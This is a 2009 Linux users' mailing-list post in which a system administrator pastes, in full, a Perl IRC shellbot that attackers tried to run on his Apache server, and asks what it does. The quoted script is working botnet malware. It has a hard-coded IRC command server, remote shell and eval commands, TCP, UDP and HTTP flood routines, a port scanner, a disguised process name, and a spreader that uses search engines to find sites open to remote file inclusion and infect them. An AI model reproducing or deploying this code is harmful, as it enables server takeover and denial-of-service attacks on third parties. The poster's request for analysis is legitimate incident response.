Can You Interpret This Hacker's Script?
William Attwood
wattwood at gmail.com
Thu Oct 1 01:48:25 MDT 2009
And it exploits other machines for the same hole it got into yours with
Sent from my iPhone
On Oct 1, 2009, at 1:31 AM, Kimball Larsen <kimball at kimballlarsen.com>
wrote:
> This evening I noticed that one of my servers at work was running a
> little warm. I checked on it and discovered some odd things going on,
> so I dug deeper.
>
> Apache logs indicated that there was a hack attempt that sorta-kinda
> worked. I don't know how, but someone managed to get my apache
> process to try to download and execute a script called "robot.txt"
> from a bot machine.
>
> The script failed to run correctly, but I'm curious about 2 things:
>
> a) How did they manage to get this thing onto my box in the first
> place - is there a hole somewhere I need to close?
> b) What does this script actually try to do? I'm no perl guy, so
> I'll paste it here in full for your enjoyment. Anyone care to
> interpret in broad strokes what it does?
>
>
> <begin script from hacker - pulled from http://bongulets.ilive.ro/robot.txt
> , based on what I saw in my apache logs>
> #!/usr/bin/perl
> # This code is based on atrix (brazil) shellbot, somebody ripped all
> the credits, but its obviusly a rip.
> # so the original author is atrix. the spread perl code was developed
> by sirhot (i am almost sure) he is from morocco.
> # Note to David Jacoby: Expect a few improvements for the next
> release.
> #
> # The following comments are only left in the code to ridiculize this
> guy.
> # --------------------------------------------------------------
> # Morgan has hacked you!
> # Morgan Argentina, santiago del estero
> # http://irc.irc-argentina.org/x.conf
> # http://img521.imageshack.us/img521/3779/morganlammer6tu.png
> #
> # oper morgan {
> # class clients;
> # from {
> # userhost *@*;
> # };
> # password "soyuncapo"; // morgan si, eres-un-capo.
> # oper morgan2 {
> # class clients;
> # from {
> # userhost *@*;
> # };
> # password "thegod"; //morgan si, eres el-dios.
> # -----------------------------------------------------------
>
>
> system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk
> '{print $1;}'`");
>
> my $processo = '/usr/sbin/apache/log';
>
>
> my @titi = ("index.php?page=","main.php?page=","index.php?
> p=","index.php?x=","main.php?p=","index.php?inc=","index.php?
> frame=","main.php?x=","index.php?path=","index.php?
> include=","main.php?
> path=","index.php?file=","main.php?x=",
> "default.php?page=",
> "index.php?open=",
> "index.php?pagina=",
> "index.php?pg=",
> "index.php?pag=",
> "index.php?content=",
> "index.php?cont=",
> "index.php?c=",
> "index.php?x=",
> "index.php?cat=",
> "index.php?site=",
> "index.php?con=",
> "index.php?action=",
> "index.php?do=",
> "index2.php?x=",
> "index2.php?content=",
> "template.php?pagina=","index.php?load=");
>
> my $goni = $titi[rand scalar @titi];
>
> my $linas_max='2';
> my $sleep='5';
> my @adms=("EviL", "remixu", "bongulets");
> my @hostauth=("bong","-","10.0.0.1");
> my @canais=("#phpMyAdmin");
> my $nick='PHP';
> my $ircname ='PHP';
> chop (my $realname = `uname -sr`);
> $servidor='89.30.129.224' unless $servidor;
> my $porta='9851';
> my $VERSAO = '0.5';
> $SIG{'INT'} = 'IGNORE';
> $SIG{'HUP'} = 'IGNORE';
> $SIG{'TERM'} = 'IGNORE';
> $SIG{'CHLD'} = 'IGNORE';
> $SIG{'PS'} = 'IGNORE';
> use IO::Socket;
> use Socket;
> use IO::Select;
> chdir("/");
> $servidor="$ARGV[0]" if $ARGV[0];
> $0="$processo"."\0"x16;;
> my $pid=fork;
> exit if $pid;
> die "Problema com o fork: $!" unless defined($pid);
>
> our %irc_servers;
> our %DCC;
> my $dcc_sel = new IO::Select->new();
>
> $sel_cliente = IO::Select->new();
> sub sendraw {
> if ($#_ == '1') {
> my $socket = $_[0];
> print $socket "$_[1]\n";
> } else {
> print $IRC_cur_socket "$_[0]\n";
> }
> }
>
> sub conectar {
> my $meunick = $_[0];
> my $servidor_con = $_[1];
> my $porta_con = $_[2];
>
> my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
> PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
> if (defined($IRC_socket)) {
> $IRC_cur_socket = $IRC_socket;
>
> $IRC_socket->autoflush(1);
> $sel_cliente->add($IRC_socket);
>
> $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
> $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
> nick("$meunick");
> sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :
> $realname");
> sleep 1;
> }
> }
> my $line_temp;
> while( 1 ) {
> while (!(keys(%irc_servers))) { conectar("$nick", "$servidor",
> "$porta"); }
> delete($irc_servers{''}) if (defined($irc_servers{''}));
> my @ready = $sel_cliente->can_read(0);
> next unless(@ready);
> foreach $fh (@ready) {
> $IRC_cur_socket = $fh;
> $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
> $nread = sysread($fh, $msg, 4096);
> if ($nread == 0) {
> $sel_cliente->remove($fh);
> $fh->close;
> delete($irc_servers{$fh});
> }
> @lines = split (/\n/, $msg);
>
> for(my $c=0; $c<= $#lines; $c++) {
> $line = $lines[$c];
> $line=$line_temp.$line if ($line_temp);
> $line_temp='';
> $line =~ s/\r$//;
> unless ($c == $#lines) {
> parse("$line");
> } else {
> if ($#lines == 0) {
> parse("$line");
> } elsif ($lines[$c] =~ /\r$/) {
> parse("$line");
> } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
> parse("$line");
> } else {
> $line_temp = $line;
> }
> }
> }
> }
> }
>
> sub parse {
> my $servarg = shift;
> if ($servarg =~ /^PING \:(.*)/) {
> sendraw("PONG :$1");
> } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.
> +)/) {
> my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
> if ($args =~ /^\001VERSION\001$/) {
> notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey
> \001");
> }
> if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
> if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
> if ($onde eq "$meunick"){
> shell("$pn", "$args");
> }
> if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
> my $natrix = $1;
> my $arg = $2;
> if ($arg =~ /^\!(.*)/) {
> ircase("$pn","$onde","$1") unless ($natrix eq "!bot"
> and $arg =~ /^\!nick/);
> } elsif ($arg =~ /^\@(.*)/) {
> $ondep = $onde;
> $ondep = $pn if $onde eq $meunick;
> bfunc("$ondep","$1");
> } else {
> shell("$onde", "$arg");
> }
> }
> }
> }
> } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
> if (lc($1) eq lc($meunick)) {
> $meunick=$4;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> }
> } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
> nick("$meunick|".int rand(999999));
> } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
> $meunick = $2;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
> foreach my $canal (@canais) {
> sendraw("JOIN $canal ddosit");
> }
> }
> }
>
>
> sub bfunc {
> my $printl = $_[0];
> my $funcarg = $_[1];
> if (my $pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> if ($funcarg =~ /^portscan (.*)/) {
> my $hostip="$1";
> my @portas=
> ("21
> ","22
> ","23
> ","25
> ","80
> ","113
> ","135
> ","445
> ","1025
> ","5000
> ","6660
> ","6661
> ","6662
> ","6663","6665","6666","6667","6668","6669","7000","8080","8018");
> my (@aberta, %porta_banner);
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002
> Scanning ".$1." for open ports.");
> foreach my $porta (@portas) {
> my $scansock = IO::Socket::INET->new(PeerAddr =>
> $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
> if ($scansock) {
> push (@aberta, $porta);
> $scansock->close;
> }
> }
>
> if (@aberta) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]
> \002 Open port(s): @aberta");
> } else {
> sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]
> \002 No open ports found");
> }
> }
> if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002
> Attacking ".$1.":".$2." for ".$3." seconds.");
> my $itime = time;
> my ($cur_time);
> $cur_time = time - $itime;
> while ($3>$cur_time){
> $cur_time = time - $itime;
> &tcpflooder("$1","$2","$3");
> }
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack
> done ".$1.":".$2.".");
> }
> if ($funcarg =~ /^version/) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002
> perlb0t ver ".$VERSAO);
> }
> if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002
> Scanning for unpatched mambo for ".$1." seconds.");
> srand;
> my $itime = time;
> my ($cur_time);
> my ($exploited);
> $boturl=$2;
> $cur_time = time - $itime;$exploited = 0;
> while($1>$cur_time){
> $cur_time = time - $itime;
> @urls=fetch();
> foreach $url (@urls) {
> $cur_time = time - $itime;
> my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)
> $/;
>
> $url =$path."/$goni$boturl" ;
>
>
>
>
> $page = http_query($url);
> $exploited = $exploited + 1;
> }
> }
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002
> Exploited ".$exploited." boxes in ".$1." seconds.");
> }
> if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002
> Attacking ".$1.":80 for ".$2." seconds.");
> my $itime = time;
> my ($cur_time);
> $cur_time = time - $itime;
> while ($2>$cur_time){
> $cur_time = time - $itime;
> my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1,
> PeerPort=>80);
> print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".
> $1."\r\nConnection: Keep-Alive\r\n\r\n";
> close($socket);
> }
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002
> Attacking done ".$1.".");
> }
> if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002
> Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
> my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
> $dtime = 1 if $dtime == 0;
> my %bytes;
> $bytes{igmp} = $2 * $pacotes{igmp};
> $bytes{icmp} = $2 * $pacotes{icmp};
> $bytes{o} = $2 * $pacotes{o};
> $bytes{udp} = $2 * $pacotes{udp};
> $bytes{tcp} = $2 * $pacotes{tcp};
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002
> Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)."
> Kb in ".$dtime." seconds to ".$1.".");
> }
> exit;
> }
> }
> }
>
> sub ircase {
> my ($kem, $printl, $case) = @_;
>
> if ($case =~ /^join (.*)/) {
> j("$1");
> }
>
> if ($case =~ /^refresh (.*)/) {
> my $goni = $titi[rand scalar @titi];
> }
>
> if ($case =~ /^part (.*)/) {
> p("$1");
> }
> if ($case =~ /^rejoin\s+(.*)/) {
> my $chan = $1;
> if ($chan =~ /^(\d+) (.*)/) {
> for (my $ca = 1; $ca <= $1; $ca++ ) {
> p("$2");
> j("$2");
> }
> } else {
> p("$chan");
> j("$chan");
> }
> }
> if ($case =~ /^op/) {
> op("$printl", "$kem") if $case eq "op";
> my $oarg = substr($case, 3);
> op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^deop/) {
> deop("$printl", "$kem") if $case eq "deop";
> my $oarg = substr($case, 5);
> deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^msg\s+(\S+) (.*)/) {
> msg("$1", "$2");
> }
> if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> msg("$2", "$3");
> }
> }
> if ($case =~ /^ctcp\s+(\S+) (.*)/) {
> ctcp("$1", "$2");
> }
> if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> ctcp("$2", "$3");
> }
> }
> if ($case =~ /^nick (.*)/) {
> nick("$1");
> }
> if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
> conectar("$2", "$1", 6667);
> }
> if ($case =~ /^raw (.*)/) {
> sendraw("$1");
> }
> if ($case =~ /^eval (.*)/) {
> eval "$1";
> }
> }
>
> sub shell {
> my $printl=$_[0];
> my $comando=$_[1];
> if ($comando =~ /cd (.*)/) {
> chdir("$1") || msg("$printl", "No such file or directory");
> return;
> }
> elsif ($pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> my @resp=`$comando 2>&1 3>&1`;
> my $c=0;
> foreach my $linha (@resp) {
> $c++;
> chop $linha;
> sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
> if ($c == "$linas_max") {
> $c=0;
> sleep $sleep;
> }
> }
> exit;
> }
> }
> }
>
> sub tcpflooder {
> my $itime = time;
> my ($cur_time);
> my ($ia,$pa,$proto,$j,$l,$t);
> $ia=inet_aton($_[0]);
> $pa=sockaddr_in($_[1],$ia);
> $ftime=$_[2];
> $proto=getprotobyname('tcp');
> $j=0;$l=0;
> $cur_time = time - $itime;
> while ($l<1000){
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> $t="SOCK$l";
> socket($t,PF_INET,SOCK_STREAM,$proto);
> connect($t,$pa)||$j--;
> $j++;$l++;
> }
> $l=0;
> while ($l<1000){
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> $t="SOCK$l";
> shutdown($t,2);
> $l++;
> }
> }
>
> sub udpflooder {
> my $iaddr = inet_aton($_[0]);
> my $msg = 'A' x $_[1];
> my $ftime = $_[2];
> my $cp = 0;
> my (%pacotes);
> $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} =
> $pacotes{tcp} = 0;
>
> socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
> socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
> socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
> socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
> return(undef) if $cp == 4;
> my $itime = time;
> my ($cur_time);
> while ( 1 ) {
> for (my $porta = 1; $porta <= 65000; $porta++) {
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes
> {igmp}++;
> send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes
> {udp}++;
> send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes
> {icmp}++;
> send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes
> {tcp}++;
>
> for (my $pc = 3; $pc <= 255;$pc++) {
> next if $pc == 6;
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
> send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{o}++;
> }
> }
> last if $cur_time >= $ftime;
> }
> return($cur_time, %pacotes);
> }
>
> sub ctcp {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001$_[1]\001");
> }
> sub msg {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :$_[1]");
> }
> sub notice {
> return unless $#_ == 1;
> sendraw("NOTICE $_[0] :$_[1]");
> }
> sub op {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +o $_[1]");
> }
> sub deop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -o $_[1]");
> }
> sub j { &join(@_); }
> sub join {
> return unless $#_ == 0;
> sendraw("JOIN $_[0]");
> }
> sub p { part(@_); }
> sub part {
> sendraw("PART $_[0]");
> }
> sub nick {
> return unless $#_ == 0;
> sendraw("NICK $_[0]");
> }
> sub quit {
> sendraw("QUIT :$_[0]");
> }
>
> # Spreader
> # this 'spreader' code isnot mine, i dont know who coded it.
> # update: well, i just fix0red this shit a bit.
> #
>
> sub fetch(){
> my $rnd=(int(rand(9999)));
> my $n= 80;
> if ($rnd<5000) { $n<<=1;}
> my $s= (int(rand(5)) * $n);
>
> my @dominios = ("com","net","org","info","gov", "gob","gub","xxx",
> "eu
> ","mil
> ","edu
> ","
> aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
>
> "py
> ","cl
> ","uy
> ","ar
> ","br
> ","bo
> ","au
> ","nz
> ","cz
> ","kr
> ","jp
> ","th
> ","tw
> ","ph
> ","cn
> ","fi
> ","de
> ","es
> ","pt
> ","ch
> ","
> se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
>
> "af
> ","ad
> ","ao
> ","ai
> ","aq
> ","ag
> ","an
> ","sa
> ","dz
> ","ar
> ","am
> ","aw
> ","at
> ","az
> ","bs
> ","bh
> ","
> bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
>
> "vc
> ","kh
> ","cm
> ","td
> ","cs
> ","cy
> ","
> km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
>
> "ee
> ","et
> ","ge
> ","fi
> ","fr
> ","ga
> ","gs
> ","gh
> ","gi
> ","gb
> ","uk
> ","gd
> ","gl
> ","gp
> ","gu
> ","gt
> ","
> gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
>
> "iq
> ","ie
> ","is
> ","ac
> ","bv
> ","cx
> ","im
> ","nf
> ","ky
> ","cc
> ","ck
> ","fo
> ","hm
> ","fk
> ","mp
> ","mh
> ","
> pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
>
> "ki
> ","kg
> ","kw
> ","lv
> ","ls
> ","lb
> ","ly
> ","lr
> ","li
> ","lt
> ","lu
> ","mo
> ","mk
> ","mg
> ","my
> ","mw
> ","
> mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
>
> "na
> ","nr
> ","np
> ","ni
> ","ne
> ","ng
> ","nu
> ","no
> ","nc
> ","om
> ","pk
> ","ps
> ","pg
> ","pn
> ","pf
> ","qa
> ","
> sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",
>
> "sh
> ","lc
> ","va
> ","st
> ","sn
> ","sc
> ","sl
> ","sg
> ","so
> ","lk
> ","za
> ","sd
> ","se
> ","sr
> ","sz
> ","rj
> ","
> tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
> "vu","vn","ye","yu","cd","zm","zw","");
> my @str;
>
> foreach $dom (@dominios)
> {
> push (@str,"allinurl:%22".$dom."/".$goni."%22");
> }
>
> my $query="www.google.com/search?q=";
> $query.=$str[(rand(scalar(@str)))];
> $query.="&num=$n&start=$s";
>
>
> my @lst=();
> my $page = http_query($query);
> while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
> if ($1 !~ m/google|cache|translate/){
> push (@lst,$1);
> }
> }
> return (@lst);
> }
>
>
> sub http_query($){
> my ($url) = @_;
> my $host=$url;
> my $query=$url;
>
> my $page="";
> $host =~ s/href=\"?http:\/\///;
> $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
> $query =~s/$host//;
> if ($query eq "") {$query="/";};
> eval {
> local $SIG{ALRM} = sub { die "1";};
> alarm 10;
> my $sock = IO::Socket::INET->new
> (PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
> print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r
> \nUser-Agent: Mozilla/5.0\r\n\r\n";
> my @r = <$sock>;
> $page="@r";
> alarm 0;
> close($sock);
> };
> return $page;
>
> }
>
>
> </end script>
>
>
>
>
>
> /*
> PLUG: http://plug.org, #utah on irc.freenode.net
> Unsubscribe: http://plug.org/mailman/options/plug
> Don't fear the penguin.
> */
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